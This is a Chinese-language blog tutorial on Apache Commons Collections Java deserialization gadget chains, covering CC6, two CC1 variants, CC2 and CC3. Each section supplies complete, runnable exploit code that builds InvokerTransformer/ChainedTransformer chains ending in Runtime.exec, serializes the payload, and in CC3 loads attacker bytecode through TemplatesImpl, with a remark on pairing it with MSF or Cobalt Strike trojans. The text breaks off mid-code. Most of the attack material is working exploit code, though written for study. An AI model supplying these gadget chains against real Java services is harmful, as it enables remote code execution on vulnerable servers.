小菜鸡xiaocaiji
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

CC6链
CC6链应该是比较简单的链,通俗易懂。所以先从CC6开始学习,这里我用的是DefaultedMap,ysoserial中使用的是LazyMap,但是他们两个几乎相同,链的前后都一样,所以建议大家看完这篇文章可以自己写一写LazyMap的链。
需要的储备知识:
- Java集合
- 反射
入口类
InvokerTransformer
从这个类(InvokerTransformer)入手,天然的任意命令执行。
利用方式:
public static void main(String[] args) throws Exception { // Runtime runtime = Runtime.getRuntime(); // // runtime.exec("calc"); // Class<? extends Runtime> aClass = runtime.getClass(); // // Method exec = aClass.getDeclaredMethod("exec", String.class); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(runtime);// 弹出计算器 } /** 这里有一个小问题,Runtime类是不能反序列化的,那么我们利用的时候可能需要用Runtime.class类利用,因为Class是可以反序列化的。 */
查找谁用了transform,右键(Find Usages)
ChainedTransformer
发现有很多类都是使用了这个函数,找找看有没有可以利用的。发现了ChainedTransformer类
看代码能够看出来,该方法会按照数组中转换器的顺序,将 object 对象传递给每个转换器的 transform 方法进行处理。每个转换器可能会对对象进行修改、处理或转换,然后将处理后的对象传递给下一个转换器。最后,经过所有转换器处理后的结果将作为方法的返回值返回。例如:
interface Transformer { Object transform(Object input); } class DoubleTransformer implements Transformer { public Object transform(Object input) { if (input instanceof Integer) { return (Integer) input * 2; } return input; } } class StringTransformer implements Transformer { public Object transform(Object input) { return input.toString(); } } class AddSuffixTransformer implements Transformer { public Object transform(Object input) { if (input instanceof String) { return input + "_processed"; } return input; } } public class TransformationPipeline { public static void main(String[] args) { Transformer[] transformers = { new DoubleTransformer(), new StringTransformer(), new AddSuffixTransformer() }; Object input = 5; // Example input for (Transformer transformer : transformers) { input = transformer.transform(input); } System.out.println("Final Result: " + input); // Output: Final Result: 10_processed } }
但是貌似没有什么可利用的点,不过后面会用到这个类。
继续找,可以看到在map中有好几处使用了这个方法,我们尝试在DefaultMap中查找利用点
DefaultedMap
可以看到DefaultedMap重写了get方法,如果value可控,我们在key是我们put进去的,也必然可控,
我们看到在构造函数中对value赋值,但是这里又出现了一个ConstantTransformer类,这里会把我们自动创建一个ConstantTransformer类给value,那我们上面就没办法利用,当然这里可以使用反射的方式注入value的值
这是目前类的关系图
目前为止的利用代码:
public static void main(String[] args) throws Exception { // Runtime runtime = Runtime.getRuntime(); // // runtime.exec("calc"); // Class<? extends Runtime> aClass = runtime.getClass(); // // Method exec = aClass.getDeclaredMethod("exec", String.class); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //初始化 DefaultedMap defaultedMap = new DefaultedMap(null); //反射的方式注入value的值 Class<? extends DefaultedMap> aClass = defaultedMap.getClass(); Field value = aClass.getDeclaredField("value"); value.setAccessible(true); value.set(defaultedMap,invokerTransformer); //调用get defaultedMap.get(runtime); //成功弹出计算器 }
TiedMapEntry
接下来就是找get方法的利用了,get的利用是有很多的,这个时候找利用类可能需要参考一下别人写的链了,找到了TiedMapEntry。
HashMap
在URLDNS链中,我们知道hashMap在反序列化的时候会调用hash(key) == key.hashCode()
,这样的话我们岂不是直接找到出口。但是PUT方法也会调用hash(key) ,所以还需要用反射进行处理一下。具体见代码。
这是目前类的关系图。
利用代码:
package com.haozai.serialTest.CC; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.DefaultedMap; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; /** * @author jackliu Email: * @description: CC1链 * @Version * @create 2023-08-06 15:44 */ public class CC1 { public static void main(String[] args) throws Exception { // Runtime runtime = Runtime.getRuntime(); // // runtime.exec("calc"); // Class<? extends Runtime> aClass = runtime.getClass(); // // Method exec = aClass.getDeclaredMethod("exec", String.class); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); //初始化 DefaultedMap defaultedMap = new DefaultedMap(invokerTransformer); //反射的方式注入value的值 Class<? extends DefaultedMap> aClass = defaultedMap.getClass(); Field value = aClass.getDeclaredField("value"); value.setAccessible(true); value.set(defaultedMap,invokerTransformer); //调用get // defaultedMap.get(runtime); //成功弹出计算器 //我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组 TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), runtime); // tiedMapEntry.hashCode(); HashMap hashMap = new HashMap(); //这一步就会弹计算器,因为put的时候也会对key进行计算hashCode hashMap.put(tiedMapEntry,"za1za1"); //为了解决这个问题,我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组 //put结束后在利用反射修改回来 Class<? extends TiedMapEntry> aClass1 = tiedMapEntry.getClass(); Field map = aClass1.getDeclaredField("map"); map.setAccessible(true); map.set(tiedMapEntry,defaultedMap); //hashMap.hashCode(); //弹出计算器,说明没问题 //序列化和反序列化 serialObj(hashMap); unSerialObj(); } //序列化 public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
解决Runtime不能序列化的问题
好吧,果然没有那么简单没发现报错了,提示Runtime类不能序列化,看下Runtime类果然没有实现Serializable接口,那咋办呢?
这个时候,我们想既然我们利用的入口是通过反射利用的,那我们是不是可以通过Runtime对应的class对象利用呢,这个时候看下Class类是否可以序列化:
我们看到是实现了序列化接口的。
那我们怎么利用构造呢,这里有点点绕。先看下图示说明
只要明白了上述关系,那构造起来不是分分钟?
先来个普通反射版本,在根据这个反射的写法,构造到成Transform的写法。
Class aClass1 = Runtime.class; Method getRuntime = aClass1.getDeclaredMethod("getRuntime", null); Runtime r = (Runtime) getRuntime.invoke(null, null); Method exec = aClass1.getDeclaredMethod("exec", String.class); exec.invoke(r,new Object[]{"calc"}); //我们传入的是aClass1,在transform中又执行了getClass,所以我们得到的aClass1的class对象,通过反调用aClass1的getDeclaredMethod方法即可。 Class aClass1 = Runtime.class; Class<? extends Class> aClass2 = aClass1.getClass(); Method getDeclaredMethod = aClass2.getDeclaredMethod("getDeclaredMethod", String.class, Class[].class); //参数是获取getRuntime,得到getRuntimeMethod,下面执行 Method getRuntimeMethod = (Method) getDeclaredMethod.invoke(aClass1, new Object[]{"getRuntime", null}); //执行invoke,获得Runtime Class<? extends Method> aClass3 = getRuntimeMethod.getClass(); Method minvoke = aClass3.getDeclaredMethod("invoke", Object.class, Object[].class); Runtime r = (Runtime) minvoke.invoke(getRuntimeMethod,null,null); //获取exec方法的method Class<? extends Runtime> aClass = r.getClass(); Method exec = aClass.getDeclaredMethod("exec", String.class); exec.invoke(r,"calc"); //接下来构造invokerTransformer InvokerTransformer getDeclaredMethod = new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}); //调用transform,,得到 Method getRuntimeMethod Method runtimeMethod = (Method) getDeclaredMethod.transform(Runtime.class); // Class<? extends Method> aClass = runtimeMethod.getClass(); // aClass.getDeclaredMethod("invoke", Object.class, Object[].class) InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ); Runtime r = (Runtime) invoke.transform(runtimeMethod); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); exec.transform(r); //弹窗 这里的利用方式是呈链式结构,这样的话我们应该怎么利用呢? 既然要使用到exec,那我们必然需要用到runtime对象,这个时候就要用到刚刚看到的ChainedTransformer类,看下他的transform方法 public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } iTransformers是通过构造方法传进去的Transformer类。这样看来我们利用是不是刚刚好,上一个的返回值就是下一个的输入值。 因此可以构造如下 InvokerTransformer[] transformers = new InvokerTransformer[]{ new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class); //弹窗
这样我们只需要把TiedMapEntry的key值替换成Runtime.class就行了,这样就可以解决runtime类不能反序列化的问题啦
完整链代码
package com.haozai.serialTest.CC; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.DefaultedMap; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; /** * @author jackliu Email: * @description: CC1链 * @Version * @create 2023-08-06 15:44 */ public class CC1 { public static void main(String[] args) throws Exception { // // Runtime runtime = Runtime.getRuntime(); // // runtime.exec("calc"); // Class<? extends Runtime> aClass = runtime.getClass(); // // Method exec = aClass.getDeclaredMethod("exec", String.class); // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); InvokerTransformer[] transformers = new InvokerTransformer[]{ new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); //弹窗 //初始化 DefaultedMap defaultedMap = new DefaultedMap(null); //反射的方式注入value的值 Class<? extends DefaultedMap> aClass = defaultedMap.getClass(); Field value = aClass.getDeclaredField("value"); value.setAccessible(true); value.set(defaultedMap,chainedTransformer); //调用get // defaultedMap.get(runtime); //成功弹出计算器 //我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组 TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), Runtime.class); // tiedMapEntry.hashCode(); HashMap hashMap = new HashMap(); //这一步就会弹计算器,因为put的时候也会对key进行计算hashCode hashMap.put(tiedMapEntry,"za1za1"); //为了解决这个问题,我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组 //put结束后在利用反射修改回来 Class<? extends TiedMapEntry> aClass1 = tiedMapEntry.getClass(); Field map = aClass1.getDeclaredField("map"); map.setAccessible(true); map.set(tiedMapEntry,defaultedMap); //hashMap.hashCode(); //弹出计算器,说明没问题 //序列化和反序列化 // serialObj(hashMap); unSerialObj(); } //序列化 public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
CC1链
CC1链有两个,几乎一样。但是这条链要对jdk版本有要求,因为用到了内置的AnnotationInvocationHandler类,这个类用于动态代理。所以要在学习这条链之前,还需要先了解动态代理。CC的版本3.2.1 , jdk的版本 <= jdk8u65
需要的储备知识:
- Java集合
- 反射
- 动态代理
前面几个利用类和CC6都一样
利用代码:
这里做一个简单的修改,我们知道 ConstantTransformer类,会把你传入构造器的参数原封不动的返回,这样我们在transformers中,可以利用ConstantTransformer直接返回Runtime.class类。在调用chainedTransformer的transform方法的时候,不论传入什么参数,new ConstantTransformer(Runtime.class),都会返回Runtime.class,这样即使我们传入的参数不可控,只要调用了chainedTransformer的transform的方法,就会触发命令执行。这样就让利用面扩大了。
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("test"); //弹窗
LazyMap
在LazyMap的get方法中用到了transform方法,其中factory可以使用构造器赋值,key可控。
//----------------------------------------------------------------------- public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
AnnotationInvocationHandler
public Object invoke(Object proxy, Method method, Object[] args) { //方法名称 String member = method.getName(); //方法的参数类型 Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } // Handle annotation member accessors Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; }
在AnnotationInvocationHandler类中的readObject方法中,调用了map.get。但是这里的key是不可控的,不过有了上述的方法,即使key不可控,也可以利用。下面就是构造,让代码进入判断执行到我们想要的语句。
在invoke中,此时可以利用get方法,进行上面的利用。
当memberVaule是LazyMap,
member是随便传。
但是现在的问题是如何才能够让invoke执行呢?在动态代理中,如: 利用proxy动态生成A的代理对象,当执行A.xx()的时候就会自动调用invoke方法。
类比以上方法,我们在创建代理对象的时候在第三个参数是自己写的InvocationHandler,如果我们把AnnotationInvocationHandler对象当作第三个参数,不就会执行invoke了吗。
但是为了保证能够顺利执行到get方法,要保证被代理类对象执行的方法是空参,并且不能是equals、toString、hashCode、annotationType。
接下来的利用的方式:
1、利用readObject,序列化的时候自动会执行。我们可以创建一个AnnotationInvocationHandler对象,把memberValues设置成代理对象,因为这里会执行一个空参函数,符合上述约束。
2、在创建代理对象,把第三个参数设置为上一步的AnnotationInvocationHandler对象。
3、接下来就是反序列化了,在反序列化的时候,我们期望代理类对象可以调用空参方法,刚好entrySet可以满足。因此我们创建AnnotationInvocationHandler,把memberValues设置为代理类对象,进行反序列化。
完整利用链
package com.haozai.serialTest.CC; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; /** * @author jackliu Email: * @description: CC1链 * @Version * @create 2023-08-07 9:26 */ public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform("test"); //弹窗 // chainedTransformer.transform(Runtime.class); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); // lazyMap.get("随便传");//弹窗 //创建 sun.reflect.annotation,因为是默认修饰,只能在同包下调用 Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); //准备好了invocationHandler,也就是动态代理的第三个参数 InvocationHandler invocationHandler = (InvocationHandler) annotationConstructor.newInstance(Override.class, lazyMap); //下面对lazyMap最动态代理,当反序列化的时候,会调用entryset方法,会走到invocationHandler中的invoke方法 //又entryset方法满足空参函数,就顺利的调用了layzMap.get方法。触发弹窗 Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); //因为要对AnnotationInvocationHandler初始化,因此需要再次创建对象,并且把我们期望的mapProxy当作memberValues传进去 Object instance = annotationConstructor.newInstance(Override.class, mapProxy); //对这个对象序列化和反序列化 // serialObj(instance); unSerialObj();//弹窗 } //序列化 public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
第二条链
TransformedMap
protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
AbstractInputCheckedMapDecorator.MapEntry
static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }
Java中,当子类重写了父类的方法后,子类调用该方法的顺序遵循以下规则:
- 如果子类对象调用该方法,首先会检查子类是否有该方法的重写实现,如果有,则执行子类的重写方法。
- 如果子类没有重写该方法,或者子类的重写方法内部通过
super关键字调用了父类的方法,那么会执行父类的方法。
具体顺序可以总结为:优先执行子类的重写方法,如果没有则执行父类的方法。
故图中箭头不代表执行顺序,只是便于理解画的图。
对AnnotationInvocationHandler类构造测试
AnnotationType a = AnnotationType.getInstance(Target.class); Map<String, Class<?>> stringClassMap = a.memberTypes(); for (Map.Entry entry : stringClassMap.entrySet()){ System.out.println(entry.getKey() ); //这个获取的是注解中的属性 System.out.println(entry.getValue()); //这个对应的是属性的类型.class }
完整利用链
package com.haozai.serialTest.CC; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.Queue; /** * @author jackliu Email: * @description: CC1另外一条链 * @Version * @create 2023-08-07 10:37 */ public class CC1_2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); hashMap.put("value","123"); Map<Object,Object> transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer); // for (Map.Entry entry: transformedMap.entrySet()){ // entry.setValue(1); // } // Class<? extends TransformedMap> aClass = transformedMap.getClass(); // Method checkSetValueM = aClass.getDeclaredMethod("checkSetValue", Object.class); // checkSetValueM.setAccessible(true); // checkSetValueM.invoke(transformedMap,new Object[]{null}); //弹窗 // transformedMap.put(1,1);//传入一个键值对,保证有值,可以遍历 // for (Map.Entry entry : transformedMap.entrySet()){ // entry.setValue(1); //弹窗 // } Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true); //准备好了invocationHandler,也就是动态代理的第三个参数 InvocationHandler invocationHandler = (InvocationHandler) annotationConstructor.newInstance(Target.class, transformedMap); serialObj(invocationHandler); unSerialObj(); } //序列化 public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
CC2链
要求CC版本是4.0 ,因为4.0的时候TransformingComparator实现了Serializable接口,才能够利用。
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
TransformingComparator
public TransformingComparator(Transformer transformer, Comparator decorated) { this.decorated = decorated; this.transformer = transformer; } //================================================ public int compare(Object obj1, Object obj2) { Object value1 = this.transformer.transform(obj1); Object value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
PriorityQueue
readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
heapify();
siftDown(i, (E) queue[i]);
siftDown
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
完整链代码
package com.haozai.serialTest.CC; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue; /** * @author jackliu Email: * @description: CC2链 * @Version * @create 2023-08-07 15:32 */ public class CC2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null} ), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(2,null); //使用类似的手法,先add后再反射修改priorityQueue的comparator的值 priorityQueue.add(1); //此时已经执行了弹窗 priorityQueue.add(2); Class<? extends PriorityQueue> aClass = priorityQueue.getClass(); Field comparator = aClass.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,transformingComparator); // serialObj(priorityQueue); unSerialObj(); //弹窗 } //序列化 public static void serialObj(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } //反序列化 public static Object unSerialObj() throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = objectInputStream.readObject(); return o; } }
CC3链
这条换了一种方式,不在使用任意命令执行,而是使用任意代码执行,使用了defineClass动态加载字节码文件,这样我们可以直接把木马文件方法传过去和MSF或CS联动。这里需要注意一个小点,由于这条链的最后还是会调用CC1链所以还是会用到Transformer,但是这个方法中反射调用的是public方法,因为使用的是getMethod只能获取public修饰的方法,所以这里再找利用点的时候也需要找public方法。
ClassLoader
protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain) throws ClassFormatError { protectionDomain = preDefineClass(name, protectionDomain); String source = defineClassSourceLocation(protectionDomain); Class<?> c = defineClass1(name, b, off, len, protectionDomain, source); postDefineClass(c, protectionDomain); return c; }
TemplateImpl.defineClass
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
TemplateImpl
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { //要执行到这里 _class[i] = loader.defineClass(_bytecodes[i]); //=============================================================== //只要静态代码块在类初始化的时候会执行,也就是newInstance(); private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet)
//代码执行到这里就可以了
_class[_transletIndex].newInstance();
找到这里可以先构造加载恶意类了。
public static void main(String[] args) throws Exception { //加载恶意class文件 String EvalPath="G:\\FlFile\\Test.class"; File file = new File(EvalPath); FileInputStream fis = new FileInputStream(file); byte[] b = new byte[(int) (file.length())]; fis.read(b, 0, (int) (file.length())); byte [][] codes = new byte[][]{b}; //TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); //执行defineTransletClasses,通过反射的方式 Class<? extends TemplatesImpl> aClass = templates.getClass(); //为_bytecodes属性赋值class文件的byte数组 // private byte[][] _bytecodes = null; Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //======================= start========================== //为了解决401行空指针异常需要为_tfactory赋值 //_tfactory是不可序列化的,但是在readObject中 //_tfactory = new TransformerFactoryImpl(); //因此我们构造的时候只需要直接new 一个就可以了 Field tfactory = aClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //=================end =============================== /** * if (superClass.getName().equals(ABSTRACT_TRANSLET)) { * _transletIndex = i; * } * 在恶意类中,恶意类需要继承 * private static String ABSTRACT_TRANSLET * = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; */ //构造_name的值不为null Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"test"); Method defineTransletClasses = aClass.getDeclaredMethod("getTransletInstance"); defineTransletClasses.setAccessible(true); defineTransletClasses.invoke(templates,null); //弹窗 }
但是到这里还没结束,还需要继续往下找。
TemplateImpl
还是在TemplateImpl中,并且这个方法是public,因此可以利用
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; //保证执行getTransletInstance()就可以了。 transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); }
利用代码
templates.newTransformer(); //弹窗
下面就CC链的利用了
完整链代码
package com.haozai.serialTest.CC; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.DefaultedMap; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; /** * @author jackliu Email: * @description: CC3的链 * @Version * @create 2023-08-07 16:16 */ public class CC3_1 { public static void main(String[] args) throws Exception { //加载恶意class文件 String EvalPath="G:\\FlFile\\Test.class"; File file = new File(EvalPath); FileInputStream fis = new FileInputStream(file); byte[] b = new byte[(int) (file.length())]; fis.read(b, 0, (int) (file.length())); byte [][] codes = new byte[][]{b}; //TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); //执行defineTransletClasses,通过反射的方式 Class<? extends TemplatesImpl> aClass1 = templates.getClass(); //为_bytecodes属性赋值class文件的byte数组 // private byte[][] _bytecodes = null; Field bytecodes = aClass1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //======================= start========================== //为了解决401行空指针异常需要为_tfactory赋值 //_tfactory是不可序列化的,但是在readObject中 //_tfactory = new TransformerFactoryImpl(); //因此我们构造的时候只需要直接new 一个就可以了 Field tfactory = aClass1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); //=================end =============================== /** * if (superClass.getName().equals(ABSTRACT_TRANSLET)) { * _transletIndex = i; * } * 在恶意类中,恶意类需要继承 * private static String ABSTRACT_TRANSLET * = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; */ //构造_name的值不为null Field name = aClass1.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"test"); // Method defineTransletClasses = aClass.getDeclaredMethod("getTransletInstance"); // defineTransletClasses.setAccessible(true); // defineTransletClasses.invoke(templates,null); // templates.newTransformer(); //弹窗 //下面是CC链的利用过程了,这里我们使用最简单的CC6 /** * 理下思路,我们需要调用TemplatesImpl类的newTransformer方法 */ InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null); // newTransformer.transform(templates); //弹窗 //初始化 DefaultedMap defaultedMap = new DefaultedMap(null); //反射的方式注入value的值 Class<? extends DefaultedMap> aClass = defaultedMap.getClass(); Field value = aClass.getDeclaredField("value"); value.setAccessible(true); value.set(defaultedMap,newTransformer); //调用get // defaultedMap.get(runtime); //成功弹出计算器 //我们可以在put之前把tiedMapEntry的defaultedMap替换成其他数组 TiedMapEntry tiedMapEntry = new TiedMapEntry(new 